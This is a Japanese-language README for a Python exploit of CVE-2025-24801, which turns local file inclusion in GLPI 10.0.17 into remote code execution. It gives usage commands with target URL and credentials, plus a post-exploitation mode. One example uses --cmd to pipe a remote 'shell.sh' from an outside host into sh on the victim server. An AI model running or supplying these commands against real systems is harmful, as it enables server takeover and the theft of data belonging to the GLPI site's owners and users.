
Python製のCVE-2025-24801エクスプロイトで、GLPI 10.0.17のローカルファイルインクルージョンを介したリモートコード実行を実現します。ポストエクスプロイテーション用のコマンド実行モードを含みます。
このエクスプロイトは、CVE-2025-24801 を利用して、GLPI 10.0.17 の Local File Inclusion (LFI) を介して Remote Code Execution (RCE) を実現します。この CVE の Proof of Concept (PoC) は、GLPI におけるこの脆弱性の説明です。
一部のアプリケーションは /glpi/ エンドポイントを公開しています(例: http://172.16.11.130:8080/glpi/front/computer.form.php)。ターゲットアプリケーションがこのエンドポイントを含む場合は、それを --url パラメータに追加する必要があります(例: --url http://172.16.11.130:8080/glpi)。
使用例。
python3 cve-2025-24801.py --url http://172.16.11.130:8080 --username glpi --password password
すでにこのエクスプロイトを実行して RCE を発動した場合は、--cmd パラメータを使用してコマンドを実行するだけで済みます。
python3 cve-2025-24801.py --url http://172.16.11.130:8080 --username glpi --password password --cmd "curl http://10.0.10.235/shell.sh | sh"